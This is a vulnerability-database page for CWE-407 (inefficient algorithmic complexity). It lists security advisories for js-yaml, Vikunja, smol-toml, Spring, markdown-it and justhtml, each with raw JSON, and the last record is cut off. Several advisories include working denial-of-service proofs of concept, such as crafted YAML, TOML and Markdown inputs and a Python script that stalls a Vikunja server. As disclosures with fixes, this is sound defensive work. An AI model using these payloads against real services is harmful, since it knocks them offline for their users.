Common Weakness Enumeration

CWE-407

Allowed-with-Review

Inefficient Algorithmic Complexity

Abstraction: Class · Status: Incomplete

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

433 vulnerabilities reference this CWE, most recent first.

GHSA-R3PH-W7GJ-G6XM

Vulnerability from github – Published: 2026-09-29 17:57 – Updated: 2026-09-29 17:57
VLAI
Summary
js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
Details

Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example

arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC

import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)

Observed results:

N YAML size Time
800 ~13 KB ~20 ms
3200 ~50 KB ~180 ms
20000 ~500 KB ~13 s

Impact

When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count every merge source mapping as one budget unit in addition to counting its keys.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.4.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-29T17:57:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.\n\n## Example\n\n```yaml\narr: \u0026arr [{}, {}, {}, ...] # N empty mappings\ntargets:\n  - \u003c\u003c: *arr                # repeated K times\n```\n\nFor every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.\n\n## PoC\n\n```js\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { load, YAML11_SCHEMA } from \u0027js-yaml\u0027\n\nconst n = 20000\n\nconst src =\n  \u0027arr: \u0026arr [\u0027 + \u0027{},\u0027.repeat(n).slice(0, -1) + \u0027]\\n\u0027 +\n  \u0027targets:\\n\u0027 +\n  \u0027  - \u003c\u003c: *arr\\n\u0027.repeat(n)\n\nconst started = performance.now()\n\nload(src, { schema: YAML11_SCHEMA })\n\nconsole.log(`${(performance.now() - started).toFixed(1)} ms`)\n```\n\nObserved results:\n\n| N | YAML size | Time |\n|---:|---:|---:|\n| 800 | ~13 KB | ~20 ms |\n| 3200 | ~50 KB | ~180 ms |\n| 20000 | ~500 KB | ~13 s |\n\n## Impact\n\nWhen merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.\n\n## Fix\n\nCount every merge source mapping as one budget unit in addition to counting its keys.",
  "id": "GHSA-r3ph-w7gj-g6xm",
  "modified": "2026-09-29T17:57:39Z",
  "published": "2026-09-29T17:57:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-r3ph-w7gj-g6xm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodeca/js-yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/releases/tag/5.4.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources"
}

GHSA-R4FG-73RC-HHH7

Vulnerability from github – Published: 2026-04-10 15:34 – Updated: 2026-04-10 19:36
VLAI
Summary
Vikunja has Algorithmic Complexity DoS in Repeating Task Handler
Details

Summary

The addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.

Details

The vulnerable function at pkg/models/tasks.go:1456-1464:

func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
    for {
        t = t.Add(duration)
        if t.After(now) {
            break
        }
    }
    return t
}

The RepeatAfter field accepts any positive integer (validated as range(0|9223372036854775807)), and DueDate accepts any valid timestamp including dates far in the past. When a task with repeat_after=1 and due_date=1900-01-01 is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).

Each request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests, time

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "user1", "password": "User1pass!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "DoS Test"}).json()

# create task with repeat_after=1 second and a date far in the past
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h,
    json={"title": "DoS", "repeat_after": 1,
          "due_date": "1900-01-01T00:00:00Z"}).json()

# mark done - triggers the vulnerable loop
start = time.time()
try:
    r = requests.post(f"{API}/tasks/{task['id']}", headers=h,
        json={"title": "DoS", "done": True}, timeout=120)
    print(f"Response: {r.status_code} in {time.time()-start:.1f}s")
except requests.exceptions.Timeout:
    print(f"TIMEOUT after {time.time()-start:.1f}s")

Output:

TIMEOUT after 60.0s

The request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, due_date=2020-01-01 completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.

Impact

Any authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.

Recommended Fix

Replace the O(n) loop with O(1) arithmetic:

func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
    if duration <= 0 {
        return t
    }
    diff := now.Sub(t)
    if diff <= 0 {
        return t.Add(duration)
    }
    intervals := int64(diff/duration) + 1
    return t.Add(time.Duration(intervals) * duration)
}

Found and reported by aisafe.io

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35599"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T15:34:41Z",
    "nvd_published_at": "2026-04-10T17:17:03Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `addRepeatIntervalToTime` function uses an O(n) loop that advances a date by the task\u0027s `RepeatAfter` duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.\n\n## Details\n\nThe vulnerable function at `pkg/models/tasks.go:1456-1464`:\n\n```go\nfunc addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {\n    for {\n        t = t.Add(duration)\n        if t.After(now) {\n            break\n        }\n    }\n    return t\n}\n```\n\nThe `RepeatAfter` field accepts any positive integer (validated as `range(0|9223372036854775807)`), and `DueDate` accepts any valid timestamp including dates far in the past. When a task with `repeat_after=1` and `due_date=1900-01-01` is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).\n\nEach request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```python\nimport requests, time\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ntoken = requests.post(f\"{API}/login\",\n    json={\"username\": \"user1\", \"password\": \"User1pass!\"}).json()[\"token\"]\nh = {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\nproj = requests.put(f\"{API}/projects\", headers=h, json={\"title\": \"DoS Test\"}).json()\n\n# create task with repeat_after=1 second and a date far in the past\ntask = requests.put(f\"{API}/projects/{proj[\u0027id\u0027]}/tasks\", headers=h,\n    json={\"title\": \"DoS\", \"repeat_after\": 1,\n          \"due_date\": \"1900-01-01T00:00:00Z\"}).json()\n\n# mark done - triggers the vulnerable loop\nstart = time.time()\ntry:\n    r = requests.post(f\"{API}/tasks/{task[\u0027id\u0027]}\", headers=h,\n        json={\"title\": \"DoS\", \"done\": True}, timeout=120)\n    print(f\"Response: {r.status_code} in {time.time()-start:.1f}s\")\nexcept requests.exceptions.Timeout:\n    print(f\"TIMEOUT after {time.time()-start:.1f}s\")\n```\n\nOutput:\n```\nTIMEOUT after 60.0s\n```\n\nThe request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, `due_date=2020-01-01` completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.\n\n## Impact\n\nAny authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.\n\n## Recommended Fix\n\nReplace the O(n) loop with O(1) arithmetic:\n\n```go\nfunc addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {\n    if duration \u003c= 0 {\n        return t\n    }\n    diff := now.Sub(t)\n    if diff \u003c= 0 {\n        return t.Add(duration)\n    }\n    intervals := int64(diff/duration) + 1\n    return t.Add(time.Duration(intervals) * duration)\n}\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-r4fg-73rc-hhh7",
  "modified": "2026-04-10T19:36:35Z",
  "published": "2026-04-10T15:34:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-r4fg-73rc-hhh7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35599"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/2577"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/6df0d6c8f54b01db6464c42810e40e55f12b481b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja has Algorithmic Complexity DoS in Repeating Task Handler"
}

GHSA-R4XH-JQRQ-34V2

Vulnerability from github – Published: 2026-10-05 23:41 – Updated: 2026-10-05 23:41
VLAI
Summary
smol-toml: Quadratic-time parse() from parseKey rescanning to end of document on each key line
Details

Summary

parse() has a quadratic-time path in parseKey, reachable on default options with ordinary valid input. For every key line and table-header line, parseKey (dist/struct.js, lines 58 and 86) finds the dotted-key separator with ctx.s.indexOf('.', ctx.p), where ctx.s is the whole document. When a key has no . ahead of it, that search runs all the way to the end of the input, and the result is then clamped back to the line terminator endPtr - so everything scanned past the current line is wasted. parseKey runs once per line, so a document of N dot-free keys costs O(n^2).

The most ordinary TOML shape triggers it: a flat list of key = value lines, or a repeated [[a]] table. No dotted keys, no special options, valid input throughout.

Proof of concept

import { parse } from 'smol-toml'

let doc = ''
for (let i = 0; i < 256000; i++) doc += 'k' + i + ' = 1\n'

console.time('parse')
parse(doc) // ~2.8 MB of valid TOML, default options
console.timeEnd('parse')

Doubling the line count roughly quadruples the time:

lines size parse()
32k 0.3 MB 0.3 s
64k 0.7 MB 1.0 s
128k 1.4 MB 3.5 s
256k 2.8 MB 14 s

Impact

Any service that runs parse() on attacker-supplied TOML can be stalled. The work is synchronous, so it blocks the whole event loop, and the quadratic is unbounded: a ~7 MB body pins a core for about a minute, larger bodies for several.

Patches

Version 1.9.0 uses a different implementation for parsing keys which is strictly linear.

Workarounds

Limit the maximum document size accepted when parsing arbitrary documents.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "smol-toml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T23:41:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`parse()` has a quadratic-time path in `parseKey`, reachable on default options with ordinary valid input. For every key line and table-header line, `parseKey` (dist/struct.js, lines 58 and 86) finds the dotted-key separator with `ctx.s.indexOf(\u0027.\u0027, ctx.p)`, where `ctx.s` is the whole document. When a key has no `.` ahead of it, that search runs all the way to the end of the input, and the result is then clamped back to the line terminator `endPtr` - so everything scanned past the current line is wasted. `parseKey` runs once per line, so a document of N dot-free keys costs O(n^2).\n\nThe most ordinary TOML shape triggers it: a flat list of `key = value` lines, or a repeated `[[a]]` table. No dotted keys, no special options, valid input throughout.\n\n### Proof of concept\n\n```js\nimport { parse } from \u0027smol-toml\u0027\n\nlet doc = \u0027\u0027\nfor (let i = 0; i \u003c 256000; i++) doc += \u0027k\u0027 + i + \u0027 = 1\\n\u0027\n\nconsole.time(\u0027parse\u0027)\nparse(doc) // ~2.8 MB of valid TOML, default options\nconsole.timeEnd(\u0027parse\u0027)\n```\n\nDoubling the line count roughly quadruples the time:\n\n| lines | size | parse() |\n|---|---|---|\n| 32k | 0.3 MB | 0.3 s |\n| 64k | 0.7 MB | 1.0 s |\n| 128k | 1.4 MB | 3.5 s |\n| 256k | 2.8 MB | 14 s |\n\n### Impact\nAny service that runs `parse()` on attacker-supplied TOML can be stalled. The work is synchronous, so it blocks the whole event loop, and the quadratic is unbounded: a ~7 MB body pins a core for about a minute, larger bodies for several.\n\n### Patches\nVersion 1.9.0 uses a different implementation for parsing keys which is strictly linear.\n\n### Workarounds\nLimit the maximum document size accepted when parsing arbitrary documents.",
  "id": "GHSA-r4xh-jqrq-34v2",
  "modified": "2026-10-05T23:41:14Z",
  "published": "2026-10-05T23:41:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/squirrelchat/smol-toml/security/advisories/GHSA-r4xh-jqrq-34v2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/squirrelchat/smol-toml/commit/99102aa57fc932f760ea9c15b4cf1c181f952d24"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/squirrelchat/smol-toml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/squirrelchat/smol-toml/releases/tag/v1.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "smol-toml: Quadratic-time parse() from parseKey rescanning to end of document on each key line"
}

GHSA-R5W3-XV2F-J59Q

Vulnerability from github – Published: 2026-06-09 06:31 – Updated: 2026-07-30 18:26
VLAI
Summary
Spring Framework Algorithmic Denial of Service via SpEL Expressions
Details

Applications that evaluate user-supplied Spring Expression Language (SpEL) expressions are vulnerable to an Algorithmic Denial of Service (DoS). By providing a specially crafted expression, an attacker can trigger excessive resource consumption during evaluation, leading to application degradation or unavailability.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-expression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.2.18"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-expression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.2.0"
            },
            {
              "fixed": "6.2.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-expression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "last_affected": "6.1.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-expression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.3.39"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T18:26:06Z",
    "nvd_published_at": "2026-06-09T05:16:37Z",
    "severity": "HIGH"
  },
  "details": "Applications that evaluate user-supplied Spring Expression Language (SpEL) expressions are vulnerable to an Algorithmic Denial of Service (DoS). By providing a specially crafted expression, an attacker can trigger excessive resource consumption during evaluation, leading to application degradation or unavailability.\n\nAffected versions:\nSpring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.",
  "id": "GHSA-r5w3-xv2f-j59q",
  "modified": "2026-07-30T18:26:06Z",
  "published": "2026-06-09T06:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41850"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-framework"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-framework/releases/tag/v6.2.19"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-framework/releases/tag/v7.0.8"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-41850"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring Framework Algorithmic Denial of Service via SpEL Expressions"
}

GHSA-R7FV-28H4-CVQ7

Vulnerability from github – Published: 2026-10-20 14:34 – Updated: 2026-10-20 14:34
VLAI
Summary
markdown-it: Quadratic complexity in smartquotes with unmatched closing quotes
Details

Impact

When typographer: true is enabled, specially crafted Markdown can cause quadratic processing time in the smartquotes rule, potentially leading to denial of service in applications processing untrusted input.

Many opening double quotes followed by unmatched closing single quotes cause repeated scans of the entire opener stack. The same issue occurs with the quote types reversed.

The default configuration (typographer: false) is not affected, but this option is enabled with high probability.

Reproduction

import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'

const md = new MarkdownIt({ typographer: true })

for (const k of [2000, 4000, 8000, 16000, 32000]) {
  const input = '"a '.repeat(k) + "b' ".repeat(k)
  const start = performance.now()
  md.render(input)
  console.log(input.length, (performance.now() - start).toFixed(1), 'ms')
}

Result:

input size time
12000 18ms
24000 47ms
48000 115ms
96000 428ms
192000 1586ms

Patches

Fixed in 15.0.2 and 14.3.2.

Workarounds

Disable typography with typographer: false, or disable only the smartquotes rule:

md.disable('smartquotes')
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "markdown-it"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0.0"
            },
            {
              "fixed": "15.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "markdown-it"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-111759"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T14:34:50Z",
    "nvd_published_at": "2026-10-19T18:17:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nWhen `typographer: true` is enabled, specially crafted Markdown can cause quadratic processing time in the smartquotes rule, potentially leading to denial of service in applications processing untrusted input.\n\nMany opening double quotes followed by unmatched closing single quotes cause repeated scans of the entire opener stack. The same issue occurs with the quote types reversed.\n\nThe default configuration (`typographer: false`) is not affected, but this option is enabled with high probability.\n\n### Reproduction\n\n```js\nimport MarkdownIt from \u0027markdown-it\u0027\nimport { performance } from \u0027node:perf_hooks\u0027\n\nconst md = new MarkdownIt({ typographer: true })\n\nfor (const k of [2000, 4000, 8000, 16000, 32000]) {\n  const input = \u0027\"a \u0027.repeat(k) + \"b\u0027 \".repeat(k)\n  const start = performance.now()\n  md.render(input)\n  console.log(input.length, (performance.now() - start).toFixed(1), \u0027ms\u0027)\n}\n```\n\nResult:\n\n|input size|time|\n|-|-|\n|12000|18ms|\n|24000|47ms|\n|48000|115ms|\n|96000|428ms|\n|192000|1586ms|\n\n### Patches\n\nFixed in **15.0.2** and **14.3.2**.\n\n### Workarounds\n\nDisable typography with `typographer: false`, or disable only the smartquotes rule:\n\n```js\nmd.disable(\u0027smartquotes\u0027)\n```",
  "id": "GHSA-r7fv-28h4-cvq7",
  "modified": "2026-10-20T14:34:51Z",
  "published": "2026-10-20T14:34:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/markdown-it/markdown-it/security/advisories/GHSA-r7fv-28h4-cvq7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111759"
    },
    {
      "type": "WEB",
      "url": "https://github.com/markdown-it/markdown-it/commit/1b379c1b6d0522421bd1a51b77337c79af2c8670"
    },
    {
      "type": "WEB",
      "url": "https://github.com/markdown-it/markdown-it/commit/cf27366035edf9196667110c47d9d67b030a4152"
    },
    {
      "type": "WEB",
      "url": "https://github.com/markdown-it/markdown-it/commit/daf5a3c32303e5d9de01b12eeb725fb5990b8162"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/markdown-it/markdown-it"
    },
    {
      "type": "WEB",
      "url": "https://github.com/markdown-it/markdown-it/releases/tag/14.3.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/markdown-it/markdown-it/releases/tag/15.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "markdown-it: Quadratic complexity in smartquotes with unmatched closing quotes"
}

GHSA-R8CJ-3554-33MR

Vulnerability from github – Published: 2026-05-08 18:19 – Updated: 2026-05-08 18:19
VLAI
Summary
justhtml introduces denial-of-service hardening
Details

Summary

justhtml 1.18.0 fixes multiple low-severity denial-of-service hardening issues in CSS selector handling and linkification.

These issues are availability concerns. They do not allow script execution, data disclosure, or sanitizer bypass by themselves.

Affected versions

  • justhtml < 1.18.0

Fixed version

  • justhtml 1.18.0 released on May 4, 2026

Impact

CSS selector handling

Applications that evaluate attacker-controlled selector strings, or that run selector-based transform pipelines over attacker-controlled documents, could consume disproportionate CPU or memory.

The affected selector patterns included oversized selectors, large selector lists, oversized compound selectors, long combinator chains, deeply nested functional pseudo-classes such as :not(...), repeated attribute/class token matching over large values, repeated sibling or ancestor scans, repeated positional pseudo-class work, and :contains(...) over large descendant text.

Programmatically constructed malformed DOM graphs could also trigger non-terminating or duplicate traversal in some selector paths, including cyclic/shared child graphs, cyclic parent chains, and cyclic text traversal for :contains(...).

Linkification

Attacker-controlled text containing punctuation-heavy input or URL candidates ending in long runs of unmatched closing brackets could cause repeated rescanning and consume disproportionate CPU when linkification was enabled.

Default configuration

Ordinary sanitization of parsed HTML with the default JustHTML(..., sanitize=True) configuration is not expected to expose untrusted users to selector injection, because selectors are normally supplied by application code.

The main risk areas are:

  • applications that accept selector strings from untrusted users and pass them to query(...), matches(...), or selector-based transforms
  • custom transform or sanitization pipelines that run selector matching over very large untrusted documents
  • applications that construct or mutate DOM trees programmatically from untrusted structure
  • applications that enable Linkify(...) over attacker-controlled text

Fixes in 1.18.0

1.18.0 adds generalized selector resource controls and removes several repeated-work hot paths:

  • shared selector limits for parse and match operations
  • structural caps for selector length, selector lists, compound selectors, complex selectors, and parse depth
  • match-operation and string-byte budgets
  • per-query matcher state for caches and cycle guards
  • precomputed or cached ancestor, sibling, positional, attribute-token, text-content, :not(...), :empty, and :nth-child(...) work
  • consistent enforcement across public parsing, query(...), tag-only query fast paths, transform selector compilation, and sanitization transform matching
  • linkification hardening for punctuation-heavy inputs and trailing bracket trimming

CWE mapping

  • CWE-400: Uncontrolled Resource Consumption
  • CWE-407: Inefficient Algorithmic Complexity
  • CWE-835: Loop with Unreachable Exit Condition

Recommended action

Upgrade to justhtml 1.18.0.

If users cannot upgrade immediately:

  • do not pass untrusted selector strings to query(...), matches(...), or selector-based transforms
  • restrict the size of untrusted documents before selector matching or linkification
  • avoid constructing programmatic DOM graphs from untrusted structure
  • avoid enabling Linkify(...) on very large attacker-controlled text

Credit

Discovered during an internal security review of justhtml.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "justhtml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T18:19:30Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`justhtml` `1.18.0` fixes multiple low-severity denial-of-service hardening issues in CSS selector handling and linkification.\n\nThese issues are availability concerns. They do not allow script execution, data disclosure, or sanitizer bypass by themselves.\n\n## Affected versions\n\n- `justhtml` `\u003c 1.18.0`\n\n## Fixed version\n\n- `justhtml` `1.18.0` released on May 4, 2026\n\n## Impact\n\n### CSS selector handling\n\nApplications that evaluate attacker-controlled selector strings, or that run selector-based transform pipelines over attacker-controlled documents, could consume disproportionate CPU or memory.\n\nThe affected selector patterns included oversized selectors, large selector lists, oversized compound selectors, long combinator chains, deeply nested functional pseudo-classes such as `:not(...)`, repeated attribute/class token matching over large values, repeated sibling or ancestor scans, repeated positional pseudo-class work, and `:contains(...)` over large descendant text.\n\nProgrammatically constructed malformed DOM graphs could also trigger non-terminating or duplicate traversal in some selector paths, including cyclic/shared child graphs, cyclic parent chains, and cyclic text traversal for `:contains(...)`.\n\n### Linkification\n\nAttacker-controlled text containing punctuation-heavy input or URL candidates ending in long runs of unmatched closing brackets could cause repeated rescanning and consume disproportionate CPU when linkification was enabled.\n\n## Default configuration\n\nOrdinary sanitization of parsed HTML with the default `JustHTML(..., sanitize=True)` configuration is not expected to expose untrusted users to selector injection, because selectors are normally supplied by application code.\n\nThe main risk areas are:\n\n- applications that accept selector strings from untrusted users and pass them to `query(...)`, `matches(...)`, or selector-based transforms\n- custom transform or sanitization pipelines that run selector matching over very large untrusted documents\n- applications that construct or mutate DOM trees programmatically from untrusted structure\n- applications that enable `Linkify(...)` over attacker-controlled text\n\n## Fixes in 1.18.0\n\n`1.18.0` adds generalized selector resource controls and removes several repeated-work hot paths:\n\n- shared selector limits for parse and match operations\n- structural caps for selector length, selector lists, compound selectors, complex selectors, and parse depth\n- match-operation and string-byte budgets\n- per-query matcher state for caches and cycle guards\n- precomputed or cached ancestor, sibling, positional, attribute-token, text-content, `:not(...)`, `:empty`, and `:nth-child(...)` work\n- consistent enforcement across public parsing, `query(...)`, tag-only query fast paths, transform selector compilation, and sanitization transform matching\n- linkification hardening for punctuation-heavy inputs and trailing bracket trimming\n\n## CWE mapping\n\n- CWE-400: Uncontrolled Resource Consumption\n- CWE-407: Inefficient Algorithmic Complexity\n- CWE-835: Loop with Unreachable Exit Condition\n\n## Recommended action\n\nUpgrade to `justhtml` `1.18.0`.\n\nIf users cannot upgrade immediately:\n\n- do not pass untrusted selector strings to `query(...)`, `matches(...)`, or selector-based transforms\n- restrict the size of untrusted documents before selector matching or linkification\n- avoid constructing programmatic DOM graphs from untrusted structure\n- avoid enabling `Linkify(...)` on very large attacker-controlled text\n\n## Credit\n\nDiscovered during an internal security review of `justhtml`.",
  "id": "GHSA-r8cj-3554-33mr",
  "modified": "2026-05-08T18:19:30Z",
